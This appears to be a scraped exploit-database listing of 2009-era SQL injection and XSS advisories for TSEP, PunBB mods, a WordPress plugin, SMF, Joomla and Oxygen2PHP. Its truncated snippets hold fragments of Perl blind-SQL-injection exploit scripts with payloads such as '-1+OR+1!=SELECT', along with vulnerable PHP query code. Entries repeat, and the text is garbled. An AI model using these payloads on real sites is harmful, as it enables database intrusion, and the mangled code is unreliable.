TSEP 0.942.02 SQL Injection / XSS / Disclosure

TSEP "0" && $percent = "100" 62: $sqlins = "INSERT INTO $dbtablename alttag,display,valuepercent,imageshow,comment 63: VALUES '$alt...

tsep 0.942.02 - Multiple Vulnerabilities

TSEP "0" && $percent = "100" 62: $sqlins = "INSERT INTO $dbtablename alttag,display,valuepercent,imageshow,comment 63: VALUES '$alt','$display','$percent','$imageshow','$comment'"; 64:...

PunBB Affiliates Mod 1.1 - Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?out=-1+OR+1!=SELECT...

WordPress Plugin Related Sites 2.1 - Blind SQL Injection

WordPress Plugin Related Sites 2.1 - Blind SQL Injection WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln http://wordpress.org/extend/plugins/related-sites/ /wp-content/plugins/related-sites/BTERWwebajax.php eLwauxc 30.05.2009, uasc.org.ua SQL-Inj 27: $guid = $POST'guid'; 28: $click =...

PunBB Extension Vote For Us <= 1.0.1 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ PunBB Extension Vote For Us newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub...

SMF Mod Member Awards 1.0.2 - Blind SQL Injection

SMF Mod Member Awards 1.0.2 - Blind SQL Injection ------------------------------------------------------------------------- SMF Component Member Awards Blind SQL-injection Vulnerability ------------------------------------------------------------------------- author: eLwaux thanks: mailbrush,...

PunBB Affiliates Mod <= 1.1 Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== PunBB Affiliates Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection ...

SMF Mod Member Awards 1.0.2 Blind SQL Injection Exploit

No description provided by source. ------------------------------------------------------------------------- SMF Component Member Awards Blind SQL-injection Vulnerability ------------------------------------------------------------------------- author: eLwaux thanks: mailbrush, antichat.ru,...

PunBB Extension Vote For Us 1.0.1 - Blind SQL Injection

PunBB Extension Vote For Us 1.0.1 - Blind SQL Injection !/usr/bin/perl 0-Day PunBB VoteForUs.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return...

Joomla Component com_php (id) Blind SQL Injection Vulnerability

No description provided by source. ------------------------------------------------------------------------------ Joomla Component comphp id Blind SQL-injection Vulnerability ------------------------------------------------------------------------------ + Author : Chip D3 Bi0s + Email :...

TSEP &lt;= 0.942.02 Multiple Remote Vulnerabilities

No description provided by source. TSEP =0.942.02 Vulnerabilities http://tsep.sourceforge.net Dork: "powered by TSEP - The Search Engine Project" ceLwaux 30.06.2009, uasc.org.ua Blind SQL-Inj /admin/rankform.php ----------------------------------------------------------------------------- 23: //...

WordPress Plugin Related Sites 2.1 - Blind SQL Injection

WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln http://wordpress.org/extend/plugins/related-sites/ /wp-content/plugins/related-sites/BTERWwebajax.php eLwauxc 30.05.2009, uasc.org.ua SQL-Inj 27: $guid = $POST'guid'; 28: $click = $POST'click'; 31: $ref = $SERVER"HTTPREFERER"; 40: if $guid!="" &...

PunBB Extension Vote For Us 1.0.1 - Blind SQL Injection

!/usr/bin/perl 0-Day PunBB VoteForUs.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./voteforus.php?out=-1+OR+1!=SELECT...

Joomla Component com_php (id) Blind SQL Injection Vulnerability

Exploit for unknown platform in category web applications =============================================================== Joomla Component comphp id Blind SQL Injection Vulnerability ===============================================================...

Joomla! Component com_php - id Blind SQL Injection

Joomla! Component comphp - id Blind SQL Injection ------------------------------------------------------------------------------ Joomla Component comphp id Blind SQL-injection Vulnerability ------------------------------------------------------------------------------ + Author : Chip D3 Bi0s +...

Joomla! Component com_php - 'id' Blind SQL Injection

------------------------------------------------------------------------------ Joomla Component comphp id Blind SQL-injection Vulnerability ------------------------------------------------------------------------------ + Author : Chip D3 Bi0s + Email : chipdebiosalt+64gmail.com + Vulnerability :...

PunBB VoteForUs.php OUT 1.0.1 Blind SQL Injection

!/usr/bin/perl 0-Day PunBB VoteForUs.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./voteforus.php?out=-1+OR+1!=SELECT...

PunBB VoteForUs.php Blind SQL Injection

!/usr/bin/perl 0-Day PunBB VoteForUs.php IN Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./voteforus.php?in=-1+OR+1!=SELECT...

Oxygen2PHP 1.1.3 post.php Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./post.php?action=newthread&fid='+OR+1!=SELECT...

Oxygen2PHP 1.1.3 Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./forumdisplay.php?fid=-1'+OR+1!=SELECT...